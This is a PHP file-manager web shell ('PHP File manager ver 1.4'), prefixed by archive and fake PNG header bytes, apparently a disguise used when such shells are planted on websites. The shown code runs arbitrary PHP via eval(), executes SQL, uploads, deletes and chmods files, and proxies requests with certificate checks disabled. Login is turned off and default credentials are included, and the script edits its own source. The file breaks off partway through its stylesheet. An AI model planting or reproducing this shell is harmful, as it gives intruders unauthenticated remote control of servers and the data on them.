dvadf
PK @qO\6x��� � index.phpnu �[��� PNG %k25u25%fgd5n!dvadf<?php
set_time_limit(0);
ini_set('memory_limit', '-1');
ini_set('output_buffering', 0);
ini_set('display_errors', 0);
header('Content-Type: text/html; charset=UTF-8');
/* PHP File manager ver 1.4 */
// Configuration — do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration
// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;
//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0;
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';
// Little default config
$fm_default_config = array (
'make_directory' => true,
'new_file' => true,
'upload_file' => true,
'show_dir_size' => false, //if true, show directory size → maybe slow
'show_img' => true,
'show_php_ver' => true,
'show_php_ini' => false, // show path to current php.ini
'show_gt' => true, // show generation time
'enable_php_console' => true,
'enable_sql_console' => true,
'sql_server' => 'localhost',
'sql_username' => 'root',
'sql_password' => '',
'sql_db' => 'test_base',
'enable_proxy' => true,
'show_phpinfo' => true,
'show_xls' => true,
'fm_settings' => true,
'restore_time' => true,
'fm_restore_time' => false,
);
if (empty($_COOKIE['fm_config']))
{
$fm_config = $fm_default_config;
}
else
{
$fm_config = unserialize($_COOKIE['fm_config']);
}
// Change language
if (isset($_POST['fm_lang'])) {
setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;
// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
if (!empty($lang_priority)){
foreach ($lang_priority as $lang_arr){
$lng = explode(';', $lang_arr);
$lng = $lng[0];
if(in_array($lng,$langs)){
$language = $lng;
break;
}
}
}
}
// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];
// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
if (!empty($get_lang)) {
//remove unnecessary characters
$translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
$fgc = file_get_contents(__FILE__);
$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg .= __('File updated');
} else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
$lang = json_decode($translation_string,true);
}
}
/* Functions */
//translation
function __($text){
global $lang;
if (isset($lang[$text])) return $lang[$text];
else return $text;
};
//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
if($recursive && @is_dir($file)) {
$els = fm_scan_dir($file, '', '', true);
foreach ($els as $el) {
if($el != '.' && $el != '..'){
fm_del_files($file . '/' . $el, true);
}
}
}
if(@is_dir($file)) {
return rmdir($file);
} else {
return @unlink($file);
}
}
//file perms
function fm_rights_string($file, $if = false){
$perms = fileperms($file);
$info = '';
if(!$if){
if (($perms & 0xC000) == 0xC000) {
//Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
//Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
//Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
//Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
//Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
//Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
//FIFO pipe
$info = 'p';
} else {
//Unknown
$info = 'u';
}
}
//Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
//Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
//World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function fm_convert_rights($mode) {
$mode = str_pad($mode,9,'-');
$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
$mode = strtr($mode,$trans);
$newmode = '0';
$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2];
$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5];
$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8];
$newmode .= $owner . $group . $world;
return intval($newmode, 8);
}
function fm_chmod($file, $val, $rec = false) {
$res = @chmod(realpath($file), $val);
if(@is_dir($file) && $rec){
$els = fm_scan_dir($file);
foreach ($els as $el) {
$res = $res && fm_chmod($file . '/' . $el, $val, true);
}
}
return $res;
}
//load files
function fm_download($file_name) {
if (!empty($file_name)) {
if (file_exists($file_name)) {
header("Content-Disposition: attachment; filename=" . basename($file_name));
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");
header("Content-Description: File Transfer");
header("Content-Length: " . filesize($file_name));
flush(); // this doesn't really matter.
$fp = fopen($file_name, "r");
while (!feof($fp)) {
echo fread($fp, 65536);
flush(); // this is essential for large downloads
}
fclose($fp);
die();
} else {
header('HTTP/1.0 404 Not Found', true, 404);
header('Status: 404 Not Found');
die();
}
}
}
//show folder size
function fm_dir_size($f,$format=true) {
if($format) {
$size=fm_dir_size($f,false);
if($size<=1024) return $size.' bytes';
elseif($size<=1024*1024) return round($size/(1024),2).' Kb';
elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb';
elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb';
elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:)))
else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-)
} else {
if(is_file($f)) return filesize($f);
$size=0;
$dh=opendir($f);
while(($file=readdir($dh))!==false) {
if($file=='.' || $file=='..') continue;
if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
else $size+=fm_dir_size($f.'/'.$file,false);
}
closedir($dh);
return $size+filesize($f);
}
}
//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
$dir = $ndir = array();
if(!empty($exp)){
$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
}
if(!empty($type) && $type !== 'all'){
$func = 'is_' . $type;
}
if(@is_dir($directory)){
$fh = opendir($directory);
while (false !== ($filename = readdir($fh))) {
if(substr($filename, 0, 1) != '.' || $do_not_filter) {
if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
$dir[] = $filename;
}
}
}
closedir($fh);
natsort($dir);
}
return $dir;
}
function fm_link($get,$link,$name,$title='') {
if (empty($title)) $title=$name.' '.basename($link);
return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}
function fm_arr_to_option($arr,$n,$sel=''){
foreach($arr as $v){
$b=$v[$n];
$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
}
return $res;
}
function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
</select>
</form>
';
}
function fm_root($dirname){
return ($dirname=='.' OR $dirname=='..');
}
function fm_php($string){
$display_errors=ini_get('display_errors');
ini_set('display_errors', '1');
ob_start();
eval(trim($string));
$text = ob_get_contents();
ob_end_clean();
ini_set('display_errors', $display_errors);
return $text;
}
//SHOW DATABASES
function fm_sql_connect(){
global $fm_config;
return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}
function fm_sql($query){
global $fm_config;
$query=trim($query);
ob_start();
$connection = fm_sql_connect();
if ($connection->connect_error) {
ob_end_clean();
return $connection->connect_error;
}
$connection->set_charset('utf8');
$queried = mysqli_query($connection,$query);
if ($queried===false) {
ob_end_clean();
return mysqli_error($connection);
} else {
if(!empty($queried)){
while($row = mysqli_fetch_assoc($queried)) {
$query_result[]= $row;
}
}
$vdump=empty($query_result)?'':var_export($query_result,true);
ob_end_clean();
$connection->close();
return '<pre>'.stripslashes($vdump).'</pre>';
}
}
function fm_backup_tables($tables = '*', $full_backup = true) {
global $path;
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
if($tables == '*') {
$tables = array();
$result = $mysqldb->query('SHOW TABLES');
while($row = mysqli_fetch_row($result)) {
$tables[] = $row[0];
}
} else {
$tables = is_array($tables) ? $tables : explode(',',$tables);
}
$return='';
foreach($tables as $table) {
$result = $mysqldb->query('SELECT * FROM '.$table);
$num_fields = mysqli_num_fields($result);
$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
$return.=$row2[1].$delimiter;
if ($full_backup) {
for ($i = 0; $i < $num_fields; $i++) {
while($row = mysqli_fetch_row($result)) {
$return.= 'INSERT INTO `'.$table.'` VALUES(';
for($j=0; $j<$num_fields; $j++) {
$row[$j] = addslashes($row[$j]);
$row[$j] = str_replace("\n","\\n",$row[$j]);
if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
if ($j<($num_fields-1)) { $return.= ','; }
}
$return.= ')'.$delimiter;
}
}
} else {
$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
}
$return.="\n\n\n";
}
//save file
$file=gmdate("Y-m-d_H-i-s",time()).'.sql';
$handle = fopen($file,'w+');
fwrite($handle,$return);
fclose($handle);
$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"';
return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}
function fm_restore_tables($sqlFileToExecute) {
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
// Load and explode the sql file
$f = fopen($sqlFileToExecute,"r+");
$sqlFile = fread($f,filesize($sqlFileToExecute));
$sqlArray = explode($delimiter,$sqlFile);
//Process the sql file by statements
foreach ($sqlArray as $stmt) {
if (strlen($stmt)>3){
$result = $mysqldb->query($stmt);
if (!$result){
$sqlErrorCode = mysqli_errno($mysqldb->connection);
$sqlErrorText = mysqli_error($mysqldb->connection);
$sqlStmt = $stmt;
break;
}
}
}
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}
function fm_img_link($filename){
return './'.basename(__FILE__).'?img='.base64_encode($filename);
}
function fm_home_style(){
return '
input, input.fm_input {
text-indent: 2px;
}
input, textarea, select, input.fm_input {
color: black;
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
border-color: black;
background-color: #FCFCFC none !important;
border-radius: 0;
padding: 2px;
}
input.fm_input {
background: #FCFCFC none !important;
cursor: pointer;
}
.home {
background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
background-repeat: no-repeat;
}';
}
function fm_config_checkbox_row($name,$value) {
global $fm_config;
return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}
function fm_protocol() {
if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
return 'http://';
}
function fm_site_url() {
return fm_protocol().$_SERVER['HTTP_HOST'];
}
function fm_url($full=false) {
$host=$full?fm_site_url():'.';
return $host.'/'.basename(__FILE__);
}
function fm_home($full=false){
return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>';
}
function fm_run_input($lng) {
global $fm_config;
$return = !empty($fm_config['enable_'.$lng.'_console']) ?
'
<form method="post" action="'.fm_url().'" style="display:inline">
<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
</form>
' : '';
return $return;
}
function fm_url_proxy($matches) {
$link = str_replace('&','&',$matches[2]);
$url = isset($_GET['url'])?$_GET['url']:'';
$parse_url = parse_url($url);
$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
if (substr($link,0,2)=='//') {
$link = substr_replace($link,fm_protocol(),0,2);
} elseif (substr($link,0,1)=='/') {
$link = substr_replace($link,$host,0,1);
} elseif (substr($link,0,2)=='./') {
$link = substr_replace($link,$host,0,2);
} elseif (substr($link,0,4)=='http') {
//alles machen wunderschon
} else {
$link = $host.$link;
}
if ($matches[1]=='href' && !strripos($link, 'css')) {
$base = fm_site_url().'/'.basename(__FILE__);
$baseq = $base.'?proxy=true&url=';
$link = $baseq.urlencode($link);
} elseif (strripos($link, 'css')){
//как-то тоже подменять надо
}
return $matches[1].'="'.$link.'"';
}
function fm_tpl_form($lng_tpl) {
global ${$lng_tpl.'_templates'};
$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
$str = '';
foreach ($tpl_arr as $ktpl=>$vtpl) {
$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}
/* End Functions */
// authorization
if ($auth['authorize']) {
if (isset($_POST['login']) && isset($_POST['password'])){
if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
}
}
if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">
'.__('Password').' <input name="password" type="password">
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';
die();
}
if (isset($_POST['quit'])) {
unset($_COOKIE[$auth['cookie_name']]);
setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
}
}
// Change config
if (isset($_GET['fm_settings'])) {
if (isset($_GET['fm_config_delete'])) {
unset($_COOKIE['fm_config']);
setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
header('Location: '.fm_url().'?fm_settings=true');
exit(0);
} elseif (isset($_POST['fm_config'])) {
$fm_config = $_POST['fm_config'];
setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
$_COOKIE['fm_config'] = serialize($fm_config);
$msg = __('Settings').' '.__('done');
} elseif (isset($_POST['fm_login'])) {
if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
$fm_login = json_encode($_POST['fm_login']);
$fgc = file_get_contents(__FILE__);
$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg .= __('File updated');
if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
$auth = $_POST['fm_login'];
}
else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
} elseif (isset($_POST['tpl_edited'])) {
$lng_tpl = $_POST['tpl_edited'];
if (!empty($_POST[$lng_tpl.'_name'])) {
$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
}
if (!empty($fm_php)) {
$fgc = file_get_contents(__FILE__);
$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
if (file_put_contents(__FILE__, $replace)) {
${$lng_tpl.'_templates'} = $fm_php;
$msg .= __('File updated');
} else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
} else $msg .= __('Error occurred');
}
}
// Just show image
if (isset($_GET['img'])) {
$file=base64_decode($_GET['img']);
if ($info=getimagesize($file)){
switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
case 1: $ext='gif'; break;
case 2: $ext='jpeg'; break;
case 3: $ext='png'; break;
case 6: $ext='bmp'; break;
default: die();
}
header("Content-type: image/$ext");
echo file_get_contents($file);
die();
}
}
// Just download file
if (isset($_GET['download'])) {
$file=base64_decode($_GET['download']);
fm_download($file);
}
// Just show info
if (isset($_GET['phpinfo'])) {
phpinfo();
die();
}
// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
$url = isset($_GET['url'])?urldecode($_GET['url']):'';
$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
<form action="" method="GET">
<input type="hidden" name="proxy" value="true">
'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
<input type="submit" value="'.__('Show').'" class="fm_input">
</form>
</div>
';
if ($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_REFERER, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
curl_close($ch);
//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
echo $result;
die();
}
}
?>
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title><?=__('File manager')?></title>
<style>
body {
background-color: white;
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 8pt;
margin: 0px;
}
a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover { color: #FFA34F; text-decoration: underline; }
table.bg {
background-color: #ACBBC6
}
th, td {
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
padding: 3px;
}
th {
height: 25px;
background-color: #006699;
color: #FFA34F;
font-weight: bold;
font-size: 11px;
}
.row1 {
background-color: #EFEFEF;
}
.row2 {
background-color: #DEE3E7;
}
.row3 {
background-color: #D1D7DC;
padding: 5px;
}
tr.row1:hover {
background-color: #F3FCFC;
}
tr.row2:hover {
background-color: #F0F6F6;
}
.whole {
width: 100%;
}
.all tbody td:first-child{width:100%;}
textarea {
font: 9pt 'Courier New', courier;
line-height: 125%;
padding: 5px;
}
.textarea_input {
height: 1em;
}
.textarea_input:focus {
height: auto;
}
input[type=submit]{
background: #FCFCFC none !important;
cursor: pointer;
}
.folder {
background-image: 